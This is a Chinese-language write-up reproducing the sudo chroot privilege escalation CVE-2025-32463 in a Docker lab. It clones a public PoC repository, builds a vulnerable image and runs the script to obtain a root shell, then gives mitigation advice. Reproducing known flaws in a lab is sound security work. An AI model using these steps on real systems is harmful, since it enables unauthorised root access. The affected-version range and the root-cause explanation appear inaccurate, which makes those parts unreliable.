漏洞背景

  • 影响范围:sudo 1.9.14 至 1.9.17(所有 p 修订版),涉及 Ubuntu、Redhat、SUSE、Debian 等主流 Linux 发行版。
  • 漏洞本质:通过 sudo 的 chroot 选项,低权限用户可以绕过 sudoers 配置限制,直接在 chroot 环境中执行任意 root 命令,实现本地提权。
  • CVSS 评分:部分发行版(如 Ubuntu)CVSS 评分 9.3(严重),部分为 7.8(高危)。

复现环境准备

基于 Docker 的漏洞复现环境,极大简化了环境搭建流程:

  • Dockerfile:构建包含 sudo 1.9.16p2(有漏洞版本)的 Ubuntu 24.04 镜像。
  • sudo-cherrooe.sh:PoC(Proof of Concept)脚本,用于触发漏洞。
# 拉取仓库并切换目录
git clone https://github.com/onniio/CVE-2025-32463.git
cd CVE-2025-32463

# 构建镜像
root@errooe:~/CVE-2025-32463# docker build -t sudo-cherrooe:1.9.16p2 .
[+] Building 0.6s (13/13) FINISHED                                        docker:default
 => [internal] load build definition from Dockerfile                                0.0s
 => => transferring dockerfile: 1.04kB                                              0.0s
 => [internal] load metadata for docker.io/library/ubuntu:24.04                     0.5s
 => [internal] load .dockerignore                                                   0.0s
 => => transferring context: 2B                                                     0.0s
 => [1/8] FROM docker.io/library/ubuntu:24.04@sha256:353675e2a41babd526e2b837d7ec7  0.0s
 => [internal] load build context                                                   0.0s
 => => transferring context: 38B                                                    0.0s
 => CACHED [2/8] RUN apt-get update &&     apt-get install -y --no-install-recomme  0.0s
 => CACHED [3/8] WORKDIR /opt                                                       0.0s
 => CACHED [4/8] RUN wget -q https://www.sudo.ws/dist/sudo-1.9.16p2.tar.gz &&       0.0s
 => CACHED [5/8] RUN useradd -m -s /bin/bash test                                   0.0s
 => CACHED [6/8] COPY --chown=test:test sudo-cherrooe.sh /home/test/sudo-cherrooe.  0.0s
 => CACHED [7/8] RUN chmod 750 /home/test/sudo-cherrooe.sh                          0.0s
 => CACHED [8/8] WORKDIR /home/test                                                 0.0s
 => exporting to image                                                              0.0s
 => => exporting layers                                                             0.0s
 => => writing image sha256:b489fc56b3e4b77ea7470abc97441fbac891fde72ede60f91ff385  0.0s
 => => naming to docker.io/library/sudo-cherrooe:1.9.16p2                           0.0s

# 启动并进入容器
docker run --rm -it --name sudo-cherrooe-poc sudo-cherrooe:1.9.16p2

容器启动后,自动进入含有漏洞的 Ubuntu 环境。

复现过程

  1. 启动并进入容器:用户身份为 test
  2. 运行 PoC
    • 任意命令执行./sudo-cherrooe.sh id以 root 身份执行 id 命令。
    • 获取 root shell:直接运行 ./sudo-cherrooe.sh,可获得一个 root shell。
test@1f3f9f87e33c:~$ ./sudo-cherrooe.sh 
errooe!

root@1f3f9f87e33c:/# id
uid=0(root) gid=0(root) groups=0(root),1001(test)

可以看到,test 用户成功提权至 root。

漏洞原理分析

核心问题:sudo 在处理 chroot 参数时,未能正确校验用户权限,导致任何用户均可通过指定特定参数,直接在 chroot 环境中执行任意命令(包括 root 权限命令)。


修复建议

  • 升级 sudo:升级至不受影响的版本(sudo 1.9.18 及以后)。
  • 临时缓解:限制普通用户使用 sudo 的 chroot 选项,或通过 sudoers 配置严格限制提权操作。

参考